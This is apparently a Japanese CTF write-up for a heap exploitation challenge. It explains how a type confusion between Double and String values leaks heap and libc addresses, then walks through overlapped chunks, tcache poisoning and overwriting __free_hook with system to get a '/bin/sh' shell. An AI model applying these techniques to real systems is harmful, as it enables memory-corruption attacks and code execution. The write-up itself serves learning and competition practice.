適当にStringを確保しlistにheapのアドレスをセットしておきます。(例index=0, String, "hogehuga")
次にその値を格納したindexを参照するような値をdoubleで表現しlistにセットしておきます。(例index=1, Double, "3.1125187e-317")
するとshowで一覧を表示したときに、先述の通りStringと扱われてheapのアドレスが文字列として表示されます。("3.1125187e-317"は内部では0x6020a0となりlist[0]のアドレスになります)
heapアドレスのリークと同様にlibcのリークもできます。これは先にStringでchunkを確保する必要はなく、got_putsのアドレスを浮動小数点表記したものをDoubleとしてセットして、showを実行すれば良いです。
複数のchunkにまたがるoverlapped chunkの作成 & tcache poisoning
Doubleの値がStringとして扱われてしまう場合があるということは、それらの値をdeleteで指定すれば任意のアドレスをfreeできます。
またheapアドレスの値はすでにわかっているのでoverlapped chunkも簡単に作れますね。
getline関数で呼ばれるreallocが確保するchunkの最小単位は0x80であるということ、fakechunkのnext_chunkのsizeを適切な値にセットしておかないとfree時にエラーが起きることに注意しましょう。
overlapped chunkが作れたら、tcacheにつながっているchunkのnextchunkをfree_hook等に書き換えることができます。
free_hookのoverwrite
このバイナリでは全ての入力をgetlineで行っているのでコマンドの入力"1","2","3"に対してもchunkを確保します。
またそれらのchunkを律儀にfreeしているので、free_hookをtcacheに繋げたあとの挙動には注意する必要があります。
僕の場合はtcacheにfree_hook-0x8のアドレスを繋いで、次のgetnlineの入力で"/bin/sh\x00"(8byte)+p64(addr_system)を入力することで、free_hookの書き換えとfreeの実行のユーザからするとアトミックな処理にも対応するようにしました。
Exploit
まとめ
CTFは楽しい。チームメイトが強い。
最近ガッツリ時間割けてないですが、もっと頑張ります。
でかいCTFだと相変わらず無力なので。。。